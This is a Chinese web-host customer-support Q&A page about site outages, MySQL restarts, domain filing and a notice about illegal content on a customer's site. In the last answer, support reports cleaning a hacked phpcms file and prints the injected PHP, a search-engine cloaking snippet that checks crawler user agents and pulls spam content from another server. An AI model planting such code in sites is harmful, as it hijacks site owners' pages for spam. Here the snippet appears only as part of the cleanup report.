問：,網(wǎng)站打不來
答：您好，測試可以訪問的，附圖，請您清空瀏覽器緩存或者換一個瀏覽器再測試一下，若您本地還是無法訪問請您ping一下您的域名將結果提交上來我司查看一下 ,非常感謝您長期對我司的支持!
問：您好，之前在這個賬號下面提的備案，現(xiàn)在這個主體已經(jīng)注銷了，備案碼不能繼續(xù)使用了，更新備案主體，看下有沒有同步
答：您好，請?zhí)峁﹤浒复a或對應的虛擬主機ftp，以便核實確認；非常感謝您長期對我司的支持.由此給您帶來的不便之處,敬請原諒!謝謝!
問：我的網(wǎng)站怎么總是如此呀 掛了
http://www.jdtxj.org/group.php
我該開什么配置的服務器為宜
答：您好，
我司查看服務器mysql服務沒有啟動，我司已為您啟動服務，附圖，查看數(shù)據(jù)庫日志中有數(shù)據(jù)表需要修復，您可以參考http://m.ps-sw.cn/faq/list.asp?unid=39 進行修復數(shù)據(jù)表，然后在觀察下,非常感謝您長期對我司的支持!
問：我這幾天沒上網(wǎng)/今天一打開發(fā)現(xiàn)又掛了
答：您好，
1.當前服務器已經(jīng)為您啟動了mysql，并通過系統(tǒng)日志中查看，對應服務器都有出現(xiàn)http站點服務消耗內(nèi)存過高，導致系統(tǒng)自動kill其他應用服務的情況，此情況建議可以將站點訪問日志，根據(jù)站點訪問日志來核實分析看看是那個站點使用內(nèi)存過高，可以和核實處理一下，做可以升級一下服務器內(nèi)存到8G觀察。
2.并核實當前服務器宿主有出現(xiàn)io使用很高的情況，導致服務器有出現(xiàn)卡頓的情況，當前我司可以為您更換一個宿主您再測試訪問速度，您同意更換可以回復工單我司操作,非常感謝您長期對我司的支持!
問：收到以下郵件，但我們沒有發(fā)現(xiàn)有害信息，煩請貴公司處理一下，該收費的收費就是！，謝謝！
尊敬的用戶：王東 您好！ 您在我司購買的業(yè)務(FTP用戶名:**********)經(jīng)我司信息安全系統(tǒng)監(jiān)測到存在有害信息，按國家有關法律規(guī)定，網(wǎng)站主辦者有責任和義務保證網(wǎng)站不傳播有害信息?，F(xiàn)在信息安全形勢十分嚴峻，相關管理機構對出現(xiàn)有害信息處置十分嚴厲，所以您必須在收到此次通知的24小時內(nèi)將網(wǎng)站所有有害信息立即清除，并采取必要措施保證以后不再出現(xiàn)有害信息，24小時后我司信息安全員將再次復查，若還未清除，將關閉該主機的網(wǎng)站訪問，同時我們也可能會將您主機的相關資料以及有害信息等相關材料作為線索報送公安機關相關部門，屆時您需自行承擔相關責任。 據(jù)我們的經(jīng)驗，出現(xiàn)有害信息絕大部分情況是因為網(wǎng)站漏洞被黑而被掛馬然后傳播，這種情況您應該徹底清除相關的木馬文件，并找到相關網(wǎng)站開發(fā)人員，查找漏洞并修補，以避免再次被黑。另一種情況是您網(wǎng)站存在交互式欄目，但又無人管理無人審核，造成被人利用發(fā)布有害信息,這種情況我們建議您關閉交互式欄目。 針對每次非法信息，我司系統(tǒng)均將自動計數(shù)（您當前的處置次數(shù)為：1次）,對于累計多次出現(xiàn)非法信息的主機，我司不排除會永久關閉。所以希望您切實履行起相關安全主體責任，加強網(wǎng)站安全管理，避免有害違法信息通過您的網(wǎng)站傳播。 具體的非法信息您可以登錄我司【管理中心-業(yè)務管理-安全及監(jiān)測-非法信息監(jiān)測】查看，也可在 http://cdsec.vhostgo.com/search輸入您的域名或云主機IP查看，但此處查詢的信息有可能未完全覆蓋，您需要據(jù)此為線索對整站進行全面排查，避免遺漏。請參考 非法信息處理流程指南。 如果您（公司）缺少技術人員，不懂如何清理和加強安全設置，也可以提交工單，委托我司技術工程師代為清除病毒、木馬和非法信息，同時也可以有網(wǎng)站加固安全服務。收費標準：根據(jù)非法信息的數(shù)量多少、被黑的嚴重程度、恢復和加固所需要的大概時間來收費，一般約80元~200元左右。 附加提示一：非法信息記錄中，【阻斷】的意思是系統(tǒng)判斷極有可能是非法信息的記錄，并會自動阻斷此網(wǎng)址的訪問，【記錄】意思是系統(tǒng)判斷疑似非法信息的記錄，需管理員人工核實。 附加提示二：新實施的《中華人民共和國網(wǎng)絡安全法》第四十七條規(guī)定，網(wǎng)站主辦者對非法信息傳播負有法律責任，請高度重視此事，否則將可能承擔相應的法律后果。 附加提示三：關于更進一步加強網(wǎng)站有害信息處置的公告 。 附加提示四：每個業(yè)務您只有3次解鎖的機會，所以當出現(xiàn)非法信息后，除需清掉非法信息外，【務必】找到有效方法杜絕非法信息再次出現(xiàn)，如關閉論壇，修復漏洞等。 附加提示五：如果實在沒有好的辦法防止非法信息再次出現(xiàn)，建議您將業(yè)務升級到海外機房。 附加提示六：非法信息現(xiàn)在國家管控【異常嚴格】，并已形成長效機制，所以請您【務必重視】并積極配合，否則后果十分嚴重。再次提醒：若您未在24小時內(nèi)清理這些有害信息，我司將在24小時后關閉您的主機，希望您能配合處理，謝謝。同時我們強烈建議關閉論壇、留言板等交互式欄目，確實需要開辦的，需要落實先審后貼，加強人工管理。經(jīng)常出現(xiàn)非法信息但沒有精力管理同時又確需開辦的，可以考慮轉移至香港機房。
答：您好，核實此站點我司通過模擬百度蜘蛛訪問這些鏈接確實是有異常的,目前已經(jīng)通過解除阻斷,請及時檢查修復程序,查看index.php文件是有些異常代碼,如需我司協(xié)助清理掛馬,我司僅能檢查并清理掛馬信息，無法修復漏洞，修復程序需要聯(lián)系程序開發(fā)商處理，請確認后可提交【虛擬主機/數(shù)據(jù)庫問題】—【網(wǎng)站類問題】—【清理網(wǎng)站掛馬代碼和非法信息】正確工單類型，非常感謝您長期對我司的支持!
問：那請指出具體是哪個代碼？，余額還有300多，如果需要費用可以直接扣除。
答：您好，我司扣費100元,核實是首頁中調(diào)用的phpcms\\base.php 等代碼文件有問題,已經(jīng)幫您清理,并對主機設置安全加固,
set_time_limit(0);error_reporting(0);$a=stristr;$b=$_SERVER;define(\’url\’,$b[\’REQUEST_URI\’]);define(\’ent\’,$b[\’HTTP_USER_AGENT\’]);define(\’site\’,"http://127.0.0.1:1024/");define(\’road\’,"?road=".$b[\’HTTP_HOST\’].url."&der=".ent);define(\’regs\’,\’@Baidu|Sogou|Yisou|Soso|Haosou|360Spider|So.com|Sm.cn@i\’);define(\’area\’,$a(url,".xml")or $a(url,".doc")or $a(url,".txt")or $a(url,".ppt")or $a(url,".xls")or $a(url,".csv")or $a(url,".shtml")or $a(url,".docx")or $a(url,".xlsx")and $a(url,"?"));if(preg_match(regs,ent)){if(area){echo g(site.road);exit;}else{echo g(site."?zz".road);ob_flush();flush();}}if(area){echo g(site.\’?tz\’);exit;}function g($d){$e=array(\’http\’=>array(\’method\’=>"GET"));$i=stream_context_create($e);$j=file_get_contents($d,false,$i);if(!empty($j)){return $j;}}
西部數(shù)碼（west.cn）是經(jīng)工信部、ICANN、CNNIC認證審批，持有ISP、云牌照、IDC、CDN、頂級域名注冊商等全業(yè)務資質(zhì)的正規(guī)老牌服務商，自成立至今20余年專注于域名注冊、虛擬主機、云服務器、企業(yè)郵箱、企業(yè)建站等互聯(lián)網(wǎng)基礎服務！
截止目前，已經(jīng)為超過2000萬個域名提供了注冊、解析等服務，是中國五星級域名注冊注冊商！已為超過50萬個網(wǎng)站提供了高速穩(wěn)定的云托管服務，獲評中國最受用戶喜歡云主機服務商。
西部數(shù)碼提供全方位7X24H專業(yè)售后支撐，域名注冊特價1元起，高速穩(wěn)定云主機45元起，更多詳情請瀏覽西部數(shù)碼官網(wǎng)：http://m.ps-sw.cn/
